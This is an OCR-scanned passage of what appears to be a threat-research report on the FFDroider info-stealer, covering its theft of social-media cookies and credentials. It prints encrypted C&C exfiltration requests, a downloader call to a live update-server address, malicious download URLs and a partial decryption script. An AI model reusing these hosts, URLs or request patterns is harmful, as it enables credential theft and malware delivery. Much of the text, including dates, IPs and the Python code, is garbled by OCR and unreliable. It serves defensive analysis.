+hOwLDgrEb&dKZCzwlenDxP/c2Z0CSNEP/ sDMNVm2nwy IHDnpJtnwc SzkY1XwAgssk+/glaw
HIxYt@/ 7kZHUxDwYam/ pkpX1Ys5taY3WVGavU3bvekyv1DtaxRz+qqISESZMIARPAKCho1ApX
1HIGvheQs35Tu+15MWU0eIF luHjRPAZWNiICCUENUNCP7BIPiB/4Au9YIIPrVS4vSu2ihef2
sUdTxblkdMgGxdL8X,/ D9 +08QF SpNEW+HtGS0sB2ulrRiBe /YwMFXTGcIF 2ccCoPtAVAPZZPAdsm
JwSGNGchqdS0q15foG0RAYEMGpgandr i gRZWLGOMHhECmyUAF43BEWpP zelQh 7P cKZxAdHT
Za/cB+ygG+Tq3geNzd/u93kdei3EEL1SmU2GLCBAkULkgjX222kRnfqrvwzmBKBi4iVernsy
OmcszZzjPlgadm/HHS,/ eFiEnyEUkvIMI+ZxTIyWlba6/BAGDNo+IgVudEXMHWEIBAFXtSDIOyY
07ovBUvE/ EUD+YwvUgV+onTaxMkY8WtamlY/ r151q3onZa04GnEyqCObVAqL/ pGodj FYAYET
IyysQIehvaQBuyaTaw/SRKOlovKwuplytOa3TtEzp4KYpLHxmrmU] zDNe FRPADAhRFRxYAQAT
BZPXK41YKridudSMWmGiZZd1IFYjHIie4tCQIULh1F1gs1oNT@BEUS/ XV1DHpTAMCAa9ZGp+
19CPGNGISE7QUwUrmLUcESqoLI sB7WFz8h6tQqmEQn3dlo0mz/tGCrShHg3IKb2QR/ Dyt ZUO
jpm57rRFEq7VxkrtpBH/YF71iXZh0BRGZVNSTLFerv3gTeYUo?hhzgXXkKIICKRpvivG/TBx
Vd9PHkMEL s jxR/ xNtNGquwYgShZx@Pmz TT9SENPZeXy132cn85V+qMtzBMMyOcNHF dmaYszi
AHszQiCz4GcIgeCuYmyxubvPz3859cglygkQLg==

HTTP/1.1 200 OK

Date: Thu, 83 Mar 2822 84:37:51 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 88:52:08 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Figure 30: Encrypted request sent to Command & Control server for exfiltrating the encrypted data cache.

Such kind of encrypted data using modified base64 encoding is sent to the C&C from the infected system when a
valid facebook account cookie was provided to the malware in the chrome browser. The decrypted json body can
be seen in the screenshot below for Facebook related exfiltration where in a lot of Facebook user account

information has been transmitted to the C2:

KHTML, like

Figure 31: Decrypted Request consisting of the Stolen information from the compromised facebook Cookie

An Instagram user’s personal account information including cookies, email password, Instagram userID, saved

password, phone number are revealed in this decrypted request..

Decrypted JSON body:
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Figure 32: Decrypted request showing sensitive data stolen from Instagram.

Encrypted request:

lPOST x’seemor‘ebtyx’l HTTP/1.1
onnection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=08.9,image webp,image apng, q=8.8,application signed-exchange v=b3
Accept-Language: en-US,en;q=8.9
Referer: https://www.facebook.com
User-Agent: Mozilla/5.@ (Windows NT 10.8; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 78.8.3538.118@ Safari 537.36
a anstng a4

Host: 152.32.228.19

eRANE3H+3D8Y5FcBcplLVPCoueBbh1tUcPGFE1di7HEg@D+nkivoGY J8+5nRuidW3hMCUOGbga
wOHKExMIpredwwblagqSWOPS Ve 1XbSDwBYCoP2or5@etA670eDCZXc PIFHGMMNuxupHhXCwl
AURz2jqaCl4+3CPBiBrMC217X2]Xkr2p4i@F rwsz7CnfaHddRDCe2iiroKVp6XrcZjzkU7zHX
dp7CMLbD+VewtV0zQk/ quFHSodQ4cUd60hpQT1T2fwem7nBOAWHVt1ZaxbsHk7MI TmRXwKBF
WzxN/adxK1+RRQIZDECTwnsEZXQD1IMbeW] igFF5 jwaQz 7iDUWE ] JM7ArXVbbWUDIYDLUdnpC
ySSdyvg4a0XMvdChiRE3f7dT5eP2zue08C7heFzKblisC71lnQXcnVazviRP/ coP2K78GnVA
Wcs61ijaAhkDTB0@21@0nmT gUVET Ib2mrmb2h@R7 /RcnMFPEODV2LZQcSYpliGfI8enZZDdSx
JGtrRgATRDR2pttKZbmOg5Lu+WPXe5Z7XAB12C1 LdxPLZnHphWgRsyLmbgebitb4BahPGahL
(OQNBAVE3YZIWIBRCjLywnid jwkXPhvhS/+FCjRKSZHKKAESXSAxmxwhiv+1U8ujoUSAUTESt+
y5zGBTQoN3dWvX6G6pal lQLvCyzFLEIFs46ptupWVil+hL69]Zy+almcfRg3P+t1t0+000pz
v IvwIBISKNLFYi+WRVbnXhuNKrw/VALyo,/FShUTABC/1j09ShjAMwbic+y14Rbtg0tptaa,/F
p7+BvDBDIEG15g8Y3pOWjIflncTo0s9WeEnGiwP60MAUZWEPQIZ2kuCCUBQDYEWDIWEtBozb
MgnpFcgl71PQI+z/7wulY7/XthdiFgcUDEWVI13009TQ87 /49VITFxIckkvuCpmEdE/t@sTe
SrHEduBvEBpwaqwgg8IE/8Q8iH151hMmKuTF155mlpCXyNjHSwWNEN,/ C58Bt2fYgovmzREps
ryvP1lnmfswiMI7Kzaacr/TADBUp3YP4ns jSkxN5QiXCYwPPKHECHLpGYzk7 j540nxqe4QvalB
yeaLodes

HTTP/1.1 288 0K

Date: Fri, @4 Mar 2822 15:26:45 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 @8:52:8@ GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

=

Figure 33: Encrypted request showing stolen Instagram account information.

Also an inbound whitelisting rule in the Windows Firewall as shown below in the screenshot which requires

administrative privileges.

Inbound Rul

e T Group Profile Enabled Action Override Program Local Address Remote Address Protocol Local Port  *
&Y Outbound Rules
%L Connection Sect 0 forobot.exe Private  Ves Allow No Chusersh...  Any Any TP Any
5., Monitoring 1 forobot.exe Private  Ves Allow  No Chusers\...  Any Any upp Any

Figure 34: Inbound Firewall rule added by the FFDroider malware which would further enable disallowed

connections to the infected host.
Downloader Functionality:

After stealing and sending across the stolen details from the target browsers and websites to the Command &
Control. The FFDroider Stealer further it tries to upgrade itself in a fixed interval of time by downloading other
modules from an update server by sending across request to the following as mentioned -
URL:http[:]//186][.12[.]171[.]17/seemorebtu/poe.php?e= by calling wininet.dll APIs such as InternetOpenUrlW
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and InternetReadFile. The module is written onto the disk in the previously created “VlcpVideov1.01” directory as

“install.exe”.
Fbrobot.exe InternetQueryOptionW ( NULL, INTERNET_OPTION_PROXY, 0xD0Sfd9f8, 0xD08fd9e8 ) TRUE
Fbrobot.exe InternetOpenW [ 'MOZEM.O' INTERMET OPEN TYPE DIRECT, MULL, MULL, 0} Ox00ccl004
Fbrobot.exe I InternetOpenUrlW [ 0x00cc0004, “hitp://186.2,171.17/seemorebty/poe.php?e=Fbrobot”, "Accept: */*° |, 15, INTERMET_FLAG_NO_CACHE_WRITE, 0 I MULL 1
Fbrobot.exe InternetCloseHandle [ Ox00cc0004 ) TRUE

GET /seemorebty/poe.php?e=FbRobot HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.@

Host: 186.2.171.17

Figure 35: Malware sends request to the Update server to upgrade itself in a fixed interval of time.
Debugging Functionality:

During the process of reverse engineering the malware, we came across a functionality which was developed by
the malware authors to debug the malware. If the filename at the time of execution is test.exe then the malware
goes into its debug state and pops up messages on every loop where in, it prints out the stolen cookies and the
final json body which is to be sent to the C&C from each and every browser for the target websites as shown in

the screenshot below.

-

d.jfm

chrome

d.INTEG

27 5 {10 €=
I c < _use_icl~ I rur=
[

Figure 36: Debugging functionality implemented by the malware authors

Cloud Sandbox detection
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@5 zscaler Cloud Sandbox

SANDBOX DETAIL REPORT

Report ID (MDS): 6A235CCFDSDDSEA7D299F 66400365267
CLASSIFICATION
Class Type
Malicious
Category
Malware & Botnet Detected:
DeepScan:Generic.SpyAgent.AIFE42046

VIRUS AND MALWARE

eepScan:Generic.SpyAgent.AIFE420A8
erASProtect.Z

ackerASPack.Z

STEALTH

Uses An lcon From A Legitimata Application

EXPLOITING

May Try To Detect The Windows Explorer Process

Figure 37: The Zscaler Cloud Sandbox successfully detected the malware.

@ lighRisk @ NodersteRisk  + Low Risk

Analysis Performed: 2/24/2022 4:14:39 PM

MACHINE LEARNING ANALYSIS

Threat Score

92
g

SECURITY BYPASS

Binary May Include Packed Or Encrypted Data
Entrypoint Lies O

May Try To Detect

SPREADING

No suspicious activity detected

PERSISTENCE

« Drops PE Files To The Documents Folder

Drops PE Files

PE File Contains Sections With Non-Standard Names

https://www.zscaler.com /blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

(=]
File Type: exe

MITRE ATTECK

This report contains 16 ATTECK technigues mapped 1o 6 tactics

NETWORKING

« Performs Connections To IPs Without Correspanding DNS Lookups

Performs DNS Lookups

URLS Found In Memory Cr Binary Data
Uses HTTPS

INFORMATION LEAKAGE

« Tries To Harvest And Steal Browser Information

SYSTEM SUMMARY

Reads INI Files -
Reads Software Policies

Reads The Hosts File

SQL st

Sample Reads Its Own File Gontent

s Found In Memory And Binary Data

Submission File Is Bigger Than Most Known Malware Samples

Uses 32bit PE Files

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various

levels

Win32.PWS.FFDroider

Conclusion

Over the years, Stealer’s became one of the most commonly used malware in any cyber attack campaign. The

Zscaler ThreatLabz team will continue to monitor this attack, as well as others, to help keep our customers safe.

Mitre table

T1055

T1027

T1027-002

T1003

T1016

T1018

T1057

T1082

T1083

Process Injection
Obfuscated Files or Information
Software Packing

OS Credential Dumping

System Network Configuration Discovery

Remote System Discovery
Process Discovery
System Information Discovery

File and Directory Discovery
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T1005 Data from Local System

Indicators of Compromise:

Hash:

beb93a48eefd9be5e5664754e9c6f175

e8c629383fe4b2c0cbf57b0d335fc53f

6a235ccfd5dd5e47d299f664d03652b7

b11fd571c6cc4b8768f33a2da71fbbbe

URL:

download[.]studymathlive[.]Jcom/normal/vinmall880[.]exe
download][.]studymathlive[.]Jcom/normal/lilay[.]exe
download][.]studymathlive[.]Jcom/install/vinmall1[.]exe?_sm_byp=iVVkm23V4sqBFtNM
download].]studymathlive[.]Jcom/install/vinmall1[.]exe?_sm_byp=iVVJWHH51nHRJTzP
Appendix:

1. FFDroider Stealer String Decryption Python Code -

for enc_string in inp
print('----
print("[+] " + enc_string
hexbytes " join | format(ord(c)) for c in enc_string
finalength = len{en
keylist g P E ‘ "BA ‘eC',"eD","@E","®F","'18","11","12"
len_keylist = len(keylist
hexkey

X B finalength

for j in rang finalength
hexkey.append(format({keylist[j¥len_keylist

hexfinal = hexbytes.split(':"

for i in range(@,finalength

result = int(hexfinal[i], 16 int(hexkey[i], 16
x[i ] format(result

def listToS5tr
strl
for ele in x
strl ele
return strl

decrypted listToString(x

print("[+] ) d String: ” bytes.fromhex(decrypted_string).decode( ut
print
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